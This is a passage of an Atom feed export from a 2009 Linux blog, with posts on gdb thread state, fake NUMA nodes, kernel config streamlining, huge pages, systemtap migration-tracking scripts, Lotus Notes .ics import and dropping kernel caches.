/&gt;Name:   xyz&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;State:  S (sleeping)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Tgid:   7234&lt;br /&gt;Pid:    7234&lt;br /&gt;PPid:   3230&lt;br /&gt;TracerPid:      0&lt;br /&gt;Uid:    1000    1000    1000    1000&lt;br /&gt;Gid:    1000    1000    109     1000&lt;br /&gt;FDSize: 32&lt;br /&gt;Groups: 4 20 24 46 106 117 118 123 124 1000&lt;br /&gt;VmPeak:     4784 kB&lt;br /&gt;VmSize:     4784 kB&lt;br /&gt;VmLck:         0 kB&lt;br /&gt;VmHWM:       636 kB&lt;br /&gt;VmRSS:       636 kB&lt;br /&gt;VmData:      380 kB&lt;br /&gt;VmStk:        84 kB&lt;br /&gt;VmExe:        76 kB&lt;br /&gt;VmLib:      4020 kB&lt;br /&gt;VmPTE:        20 kB&lt;br /&gt;Threads:        1&lt;br /&gt;SigQ:   0/16382&lt;br /&gt;SigPnd: 0000000000000000&lt;br /&gt;ShdPnd: 0000000000000000&lt;br /&gt;SigBlk: 0000000000000000&lt;br /&gt;SigIgn: 0000000000001002&lt;br /&gt;SigCgt: 0000000180004001&lt;br /&gt;CapInh: 0000000000000000&lt;br /&gt;CapPrm: 0000000000000000&lt;br /&gt;CapEff: 0000000000000000&lt;br /&gt;CapBnd: ffffffffffffffff&lt;br /&gt;Cpus_allowed:   00000000,00000003&lt;br /&gt;Cpus_allowed_list:      0-1&lt;br /&gt;Mems_allowed:   1&lt;br /&gt;Mems_allowed_list:      0&lt;br /&gt;voluntary_ctxt_switches:        627&lt;br /&gt;nonvoluntary_ctxt_switches:     0&lt;br /&gt;&lt;br /&gt;So as we can see, we can get a whole lot of information about the threads and not just the state. There are other options supported by the info proc command as shown by the help. gdb picks up the above information from the /proc/&amp;lt;pid&amp;gt; interface. It helps to be able to look at all the pieces of debug information from the same interface itself.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2175796597189870561?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2175796597189870561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/07/looking-at-thread-state-inside-gdb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2175796597189870561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2175796597189870561'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/07/looking-at-thread-state-inside-gdb.html' title='Looking at thread state inside gdb'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1172742480173557295</id><published>2009-07-03T09:55:00.000-07:00</published><updated>2012-01-22T05:40:00.672-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='numa'/><category scheme='http://www.blogger.com/atom/ns#' term='fake numa'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='emulation'/><title type='text'>Fake NUMA nodes in Linux</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;While NUMA systems are becoming commonplace, many a times we do not have access to such systems when either writng new code, understanding NUMA architecture, conducting experiments or debugging existing code. For such cases, the Linux kernel provides a very neat feature called 'fake numa nodes'. One can create fake numa nodes on a non-NUMA machine by simply passing a commandline parameter to the kernel. Below are the steps for x86 systems:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Following config options need to be turned on: &lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;CONFIG_NUMA=y&lt;/b&gt;&lt;/span&gt;, &lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;CONFIG_NUMA_EMULATION=y&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Build the kernel with the above config options set&lt;/li&gt;&lt;li&gt;The kernel commandline could be any one of the following, depending on your requirement:&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;numa=fake=4&lt;/b&gt;&lt;/span&gt; : Split the entire memory into 4 equal nodes&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;numa=fake=8*1024&lt;/b&gt;&lt;/span&gt; : Split the memory into 8 equal chunks of 1024MB (ie 1G) (note, the number is considered to be in MB) [If system has more memory, the last node will be assigned remaining memory&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;]&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;numa=fake=2*512,2*1024&lt;/b&gt;&lt;/span&gt; : Split the memory into 2 nodes of 512MB each and 2 more nodes of 1GB each (and so on)&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Note:&lt;/b&gt; On ppc, the nodes required are specified using cumulative comma separated list. For example, to create 4 nodes of 2GB each the parameter would be: "&lt;b&gt;numa=fake=2G,4G,6G,8G"&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;You can play around with more options :) The userspace numa utilities like numactl and numastat would then show the numa environment that has been setup. Details of the cpumap and per-node meminfo can be obtained from the sysfs file /sys/devices/system/node/node&amp;lt;0|1|2..&amp;gt;.&lt;br /&gt;&lt;br /&gt;Fake NUMA has one flaw however and that is the CPU mapping to nodes. There would exist nodes that do not show up as having any CPUs (unde the cpumap file in the node dir of the above mentioned sysfs file). As per the semantics, a CPU must unquely belong to a NUMA node. However, inside the kernel, the CPU is mapped to all the fake nodes.&lt;br /&gt;&lt;br /&gt;Fake NUMA nodes can be created even on a real NUMA system. In this case, the fake nodes are aligned within a real node. The distances between two fake nodes across two real nodes is maintained. Could cover internal implementation details in a separate post. Have fun playing around with NUMA !&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1172742480173557295?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1172742480173557295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/07/fake-numa-nodes-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1172742480173557295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1172742480173557295'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/07/fake-numa-nodes-in-linux.html' title='Fake NUMA nodes in Linux'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-5578428399329975255</id><published>2009-06-28T02:54:00.000-07:00</published><updated>2012-01-22T05:40:00.708-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='build kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='configure kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='streamline_config'/><title type='text'>Build your kernel faster</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Normally when building custom kernels for our laptops or desktops, we tend to make use of the kernel config file used by the particular distro. However the distro config files tend to be huge, having loads of modules turned on, ven those which might not even be needed on our particular laptop or desktop. This is the case since the distro kernels need to cater to a large configurations of systems. . This leads to the kernel taking ages to compile ! If you want to build your kernel fast, and turn off all those modules/drivers which are not needed on your system, &lt;a href="http://rostedt.homelinux.com/code/streamline_config.pl"&gt;streamline_config.pl&lt;/a&gt; script by Steven Rostedt is what you need (at the sametime ensuring that your kernel does have all that is necessary). &lt;a href="http://patchwork.kernel.org/patch/20940/"&gt;Here&lt;/a&gt; is the thread where Steven explains how this script can be used. In brief,&lt;br /&gt;&lt;br /&gt;Run the script with the arguement being your architecture's Kconfig file and save the output&lt;br /&gt;&lt;ul&gt;&lt;li&gt;# ./streamline_config.pl arch/x86/Kconfig &amp;gt; config_stream&lt;/li&gt;&lt;/ul&gt;Copy config_stream as your new .config and run 'make oldconfig' or 'make menuconfig' if you want to continue configuring the kernel. Your build would now take much lesser time !&lt;br /&gt;&lt;br /&gt;Note: If you already have a .config file that has some of your custom config options set and you want to streamline that, no worries as streamline_config.pl will work on that .config itself (provided its present in the kernel src dir). You might still want to take a backup of your .config [;-)]&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-5578428399329975255?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/5578428399329975255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/06/build-your-kernel-faster.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5578428399329975255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5578428399329975255'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/06/build-your-kernel-faster.html' title='Build your kernel faster'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1379773207792210287</id><published>2009-06-21T22:17:00.000-07:00</published><updated>2012-01-22T05:40:00.731-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='numa_maps'/><category scheme='http://www.blogger.com/atom/ns#' term='large pages'/><title type='text'>Using large pages</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Linux has had support for large pages (also called huge pages) for a long time now. The size of large pages supported depends on the platform. For example, on Intel it has mostly been 2MB. Large pages offer the advantage of having fewer entries in the TLB and thus fewer cache misses. However, it could lead to more wastage of memory and fragmentation. Many applications typically use large pages for certain designation functions. For example, if supported and required number available, JVM heap is composed of large pages.&lt;br /&gt;&lt;br /&gt;An application can request large pages using the &lt;a href="http://linux.die.net/man/2/shmget"&gt;shmget&lt;/a&gt; API:&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;#include &amp;lt;&lt;a rel="nofollow" href="http://linux.die.net/include/sys/ipc.h"&gt;sys/ipc.h&lt;/a&gt;&amp;gt;&lt;/b&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;#include &amp;lt;&lt;a rel="nofollow" href="http://linux.die.net/include/sys/shm.h"&gt;sys/shm.h&lt;/a&gt;&amp;gt;&lt;/b&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;int shmget(key_t&lt;/b&gt; &lt;i&gt;key&lt;/i&gt;&lt;b&gt;, size_t&lt;/b&gt; &lt;i&gt;size&lt;/i&gt;&lt;b&gt;, int&lt;/b&gt; &lt;i&gt;shmflg&lt;/i&gt;&lt;b&gt;);&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;SHM_HUGETLB &lt;/b&gt;flag part of shmflg field specifies creation of large pages.&lt;/p&gt;&lt;p&gt;Linux kernel provides an interface using which large pages can be requested.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;b&gt;#echo 1000 &amp;gt; /proc/sys/vm/nr_hugepages&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="color:#000000;"&gt;The above causes 1000 large pages to be allocated by the kernel. More information on large pages can be obtained from the /proc fs:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;b&gt;#cat /proc/meminfo&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;MemTotal:        8114308 kB&lt;br /&gt;MemFree:         5867312 kB&lt;br /&gt;Buffers:            8412 kB&lt;br /&gt;Cached:           107304 kB&lt;br /&gt;SwapCached:            0 kB&lt;br /&gt;Active:            48000 kB&lt;br /&gt;Inactive:          87592 kB&lt;br /&gt;Active(anon):      22704 kB&lt;br /&gt;Inactive(anon):        0 kB&lt;br /&gt;Active(file):      25296 kB&lt;br /&gt;Inactive(file):    87592 kB&lt;br /&gt;Unevictable:           0 kB&lt;br /&gt;Mlocked:               0 kB&lt;br /&gt;SwapTotal:       4883752 kB&lt;br /&gt;SwapFree:        4883752 kB&lt;br /&gt;Dirty:                48 kB&lt;br /&gt;Writeback:            36 kB&lt;br /&gt;AnonPages:         20212 kB&lt;br /&gt;Mapped:            10948 kB&lt;br /&gt;Slab:              25988 kB&lt;br /&gt;SReclaimable:      12916 kB&lt;br /&gt;SUnreclaim:        13072 kB&lt;br /&gt;PageTables:         2400 kB&lt;br /&gt;NFS_Unstable:          0 kB&lt;br /&gt;Bounce:                0 kB&lt;br /&gt;WritebackTmp:          0 kB&lt;br /&gt;CommitLimit:     7916904 kB&lt;br /&gt;Committed_AS:      46040 kB&lt;br /&gt;VmallocTotal:   34359738367 kB&lt;br /&gt;VmallocUsed:       43496 kB&lt;br /&gt;VmallocChunk:   34359693843 kB&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;&lt;b&gt;HugePages_Total:    1000&lt;br /&gt;HugePages_Free:     1000&lt;br /&gt;HugePages_Rsvd:        0&lt;br /&gt;HugePages_Surp:        0&lt;br /&gt;Hugepagesize:       2048 kB&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;DirectMap4k:        3824 kB&lt;br /&gt;DirectMap2M:     8384512 kB&lt;br /&gt;&lt;/p&gt;&lt;p&gt;On a NUMA system, the kernel splits large page allocations equally across the different nodes. For example, if the system has 2 nodes, a request of 1000 large pages would get split into 500 pages from each node. Per node large page information can be obtained from the /sys interface:&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;b&gt;# cat /sys/devices/system/node/node0/meminfo&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Node 1 MemTotal:        4194304 kB&lt;br /&gt;Node 1 MemFree:           40004 kB&lt;br /&gt;Node 1 MemUsed:         4154300 kB&lt;br /&gt;Node 1 Active:          2166524 kB&lt;br /&gt;Node 1 Inactive:         810704 kB&lt;br /&gt;Node 1 Active(anon):    2127084 kB&lt;br /&gt;Node 1 Inactive(anon):     8360 kB&lt;br /&gt;Node 1 Active(file):      39440 kB&lt;br /&gt;Node 1 Inactive(file):   802344 kB&lt;br /&gt;Node 1 Unevictable:           0 kB&lt;br /&gt;Node 1 Mlocked:               0 kB&lt;br /&gt;Node 1 Dirty:                 0 kB&lt;br /&gt;Node 1 Writeback:             0 kB&lt;br /&gt;Node 1 FilePages:        841792 kB&lt;br /&gt;Node 1 Mapped:            11008 kB&lt;br /&gt;Node 1 AnonPages:       2135884 kB&lt;br /&gt;Node 1 PageTables:         5136 kB&lt;br /&gt;Node 1 NFS_Unstable:          0 kB&lt;br /&gt;Node 1 Bounce:                0 kB&lt;br /&gt;Node 1 WritebackTmp:          0 kB&lt;br /&gt;Node 1 Slab:              33704 kB&lt;br /&gt;Node 1 SReclaimable:      30708 kB&lt;br /&gt;Node 1 SUnreclaim:         2996 kB&lt;br /&gt;&lt;b&gt;&lt;span style="color:#3333ff;"&gt;Node 1 HugePages_Total:   500&lt;br /&gt;Node 1 HugePages_Free:    498&lt;br /&gt;Node 1 HugePages_Surp:      0&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000000;"&gt;Recently, in one of the benchmarks (JAVA benchmark) I was running, I was seeing a huge performance degradation of about 6-8%. After some debugging, the issue turned out to be that the application was not able to utilize the large pages allocated (thanks to some weird environment I had ;-) ). To find out the number of large pages being utilized by the app, besides the above meminfo output, you can also use numa_maps. For example,&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;b&gt;# cat /proc/&amp;lt;process pid&amp;gt;/numa_maps&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;00001000 default anon=1 dirty=1 N0=1&lt;br /&gt;00400000 default file=&amp;lt;....library file info..&amp;gt; mapped=10 mapmax=3 N0=10&lt;br /&gt;0050b000 default file=&amp;lt;....library file info..&amp;gt; anon=1 dirty=1 N0=1&lt;br /&gt;0050c000 default heap anon=213 dirty=213 N0=213&lt;br /&gt;00600000 default file=/SYSV00000000\040(deleted) &lt;span style="color:#3333ff;"&gt;&lt;b&gt;huge dirty=472&lt;/b&gt;&lt;/span&gt; N0=472&lt;br /&gt;40600000 default&lt;br /&gt;40601000 default anon=2 dirty=2 N0=2&lt;br /&gt;40641000 default&lt;br /&gt;40642000 default anon=4 dirty=4 N0=4&lt;br /&gt;40682000 default&lt;br /&gt;40683000 default anon=2 dirty=2 N0=2&lt;br /&gt;4090f000 default&lt;br /&gt;40910000 default anon=3 dirty=3 N0=3&lt;br /&gt;40a68000 default&lt;br /&gt;40a69000 default anon=4 dirty=4 N0=4&lt;br /&gt;40a70000 default&lt;br /&gt;40a71000 default anon=2 dirty=2 N0=2&lt;br /&gt;40ab1000 default&lt;br /&gt;40ab2000 default anon=2 dirty=2 N0=2&lt;br /&gt;.....&lt;/p&gt;&lt;p&gt;41fc9000 default anon=10 dirty=10 N0=10&lt;br /&gt;427c9000 default anon=535 dirty=535 N0=535&lt;br /&gt;2aaaaac00000 default file=/SYSV00000000\040(deleted) &lt;span style="color:#3333ff;"&gt;&lt;b&gt;huge dirty=1&lt;/b&gt;&lt;/span&gt; N0=1&lt;br /&gt;7f6024000000 default anon=5578 dirty=5578 N0=5578&lt;br /&gt;7f6027398000 default&lt;br /&gt;7f602a402000 default anon=821 dirty=821 N0=821&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1379773207792210287?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1379773207792210287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/06/using-large-pages.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1379773207792210287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1379773207792210287'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/06/using-large-pages.html' title='Using large pages'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-662366466850688956</id><published>2009-06-19T04:51:00.000-07:00</published><updated>2012-01-22T05:40:00.833-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='task migration'/><category scheme='http://www.blogger.com/atom/ns#' term='systemtap'/><title type='text'>Useful staps to track task movement across CPUs</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Quite sometime back, I was faced with a situation where I needed to track instances when a particular task was being migrated away from a cpu. It was in the context of a real-time system, where a real-time task was facing huge context switch delays. Obvious suspect being the scheduler, I used &lt;a href="http://sourceware.org/systemtap/"&gt;systemtap&lt;/a&gt; to infer a few things, besides other debugging:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To find if the task was being migrated away to some other cpu, used the following trivial stap script:&lt;/li&gt;&lt;/ul&gt;&lt;span style="color:#3366ff;"&gt;/*    Filename: migrate.stp&lt;br /&gt; *      Author: Ankita Garg &amp;lt;ankita@in.ibm.com&amp;gt;&lt;br /&gt; * Description: Captures information on the migration of threads&lt;br /&gt; *&lt;br /&gt; * This program is free software; you can redistribute it and/or modify&lt;br /&gt; * it under the terms of the GNU General Public License as published by&lt;br /&gt; * the Free Software Foundation; either version 2 of the License, or&lt;br /&gt; * (at your option) any later version.&lt;br /&gt; *&lt;br /&gt; * This program is distributed in the hope that it will be useful,&lt;br /&gt; * but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt; * GNU General Public License for more details.&lt;br /&gt; *&lt;br /&gt; * © Copyright IBM Corp. 2009.  All Rights Reserved.&lt;br /&gt; *&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;probe kernel.function("__migrate_task")&lt;br /&gt;{&lt;br /&gt;        if(($1 != 0 ) &amp;amp;&amp;amp; (tid() == $1)) {&lt;br /&gt;                printf ("thread %d (%s) is migrating from %d to %d \n", $p-&amp;gt;pid,&lt;br /&gt;                                kernel_string($p-&amp;gt;comm), $src_cpu, $dest_cpu);&lt;br /&gt;        }&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Below is a script that tracks all the cpus that a particular task ran on. Pl note it does not track the context switches.&lt;/li&gt;&lt;/ul&gt;&lt;span style="color:#3366ff;"&gt;/*    Filename: chng_cpu.stp&lt;br /&gt; *      Author: Ankita Garg &amp;lt;ankita@in.ibm.com&amp;gt;&lt;br /&gt; * Description: Captures information on the number of times java thread&lt;br /&gt; * switches cpu&lt;br /&gt; *&lt;br /&gt; * This program is free software; you can redistribute it and/or modify&lt;br /&gt; * it under the terms of the GNU General Public License as published by&lt;br /&gt; * the Free Software Foundation; either version 2 of the License, or&lt;br /&gt; * (at your option) any later version.&lt;br /&gt; *&lt;br /&gt; * This program is distributed in the hope that it will be useful,&lt;br /&gt; * but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt; * GNU General Public License for more details.&lt;br /&gt; *&lt;br /&gt; * © Copyright IBM Corp. 2009.  All Rights Reserved.&lt;br /&gt; *&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;global threads&lt;br /&gt;&lt;br /&gt;probe kernel.function("finish_task_switch")&lt;br /&gt;{&lt;br /&gt;        if ((threads[tid()] != cpu()) &amp;amp;&amp;amp; (tid() != 0) &amp;amp;&amp;amp; (execname() == @1)) {&lt;br /&gt;                printf("thread %d (%s) context switched on %d \n",&lt;br /&gt;                                tid(), execname(), cpu());&lt;br /&gt;                                printf("state: %d\n", task_state(task_current()))&lt;br /&gt;                                print_stack(backtrace())&lt;br /&gt;        }&lt;br /&gt;        threads[tid()] = cpu();&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These are a bit older techniques, as now there is a new tracepoints infrastructure which can do these things. But on older kernels, the above would be useful. Expect more posts on kernel RAS features in due time.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-662366466850688956?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/662366466850688956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/06/useful-staps-to-track-task-movement.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/662366466850688956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/662366466850688956'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/06/useful-staps-to-track-task-movement.html' title='Useful staps to track task movement across CPUs'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-839926124219768906</id><published>2009-06-18T22:47:00.000-07:00</published><updated>2012-01-22T05:40:00.928-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lotus notes'/><category scheme='http://www.blogger.com/atom/ns#' term='.ics file'/><title type='text'>Importing .ics into Lotus Notes 8</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;span style="font-family:sans-serif;"&gt;A number of times I get calender invites for meetings on my non-Lotus notes email IDs. The calender invites are normally &lt;/span&gt;in the .ics format. Once can easily import it into Lotus Notes. Here is how:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Compose a mail inside notes&lt;/li&gt;&lt;li&gt;Attach the .ics file to it&lt;/li&gt;&lt;li&gt;Right click the attachment, and click on "View"&lt;/li&gt;&lt;li&gt;The calender view would open, with the meeting details. Now accept/decline the invite, save and exit&lt;/li&gt;&lt;/ol&gt;Voila, the entry gets saved to your calender. Ofcourse, there might be other ways to achieve this in notes :-)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-839926124219768906?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/839926124219768906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/06/importing-ics-into-lotus-notes-8.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/839926124219768906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/839926124219768906'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/06/importing-ics-into-lotus-notes-8.html' title='Importing .ics into Lotus Notes 8'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2075504054573500362</id><published>2009-06-18T21:52:00.000-07:00</published><updated>2012-01-22T05:40:01.024-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dentry'/><category scheme='http://www.blogger.com/atom/ns#' term='page cache'/><category scheme='http://www.blogger.com/atom/ns#' term='drop cache'/><category scheme='http://www.blogger.com/atom/ns#' term='memory'/><title type='text'>Free up that memory</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Recently came across this cool interface in the Linux kernel. Typically, the memory might be over-provisioned on the system. Instead of wasting the memory, the kernel normally utilizes a lot of it for page cache, dentry cache and inodes. These caches speed I/O operations and improves performance. However, there are cases when large amount of memory might actually be needed by the apps. While most of the cache pages could be easily reclaimed, there is obviously some overhead involved (the pages could be dirty and might have to written back to the disk, thus incurring disk write latency). Linux has a neat kernel.. so now, while it uses its smart to utilize the memory well, it also provides a method for people to indicate that they do not want the kernel to use its smarts ;-)&lt;br /&gt;&lt;br /&gt;To free memory, just do the following:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# echo 1 &amp;gt; /proc/sys/vm/drop_caches&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;(the above frees only page cache)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# echo 2 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;(for freeing dentry caches and inodes)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;(for freeing all of the above)&lt;br /&gt;&lt;br /&gt;It would be advisable to first do a 'sync' before dropping the caches, so that all the dirty pages could be acted upon.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2075504054573500362?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2075504054573500362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/06/free-up-that-memory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2075504054573500362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2075504054573500362'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/06/free-up-that-memory.html' title='Free up that memory'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 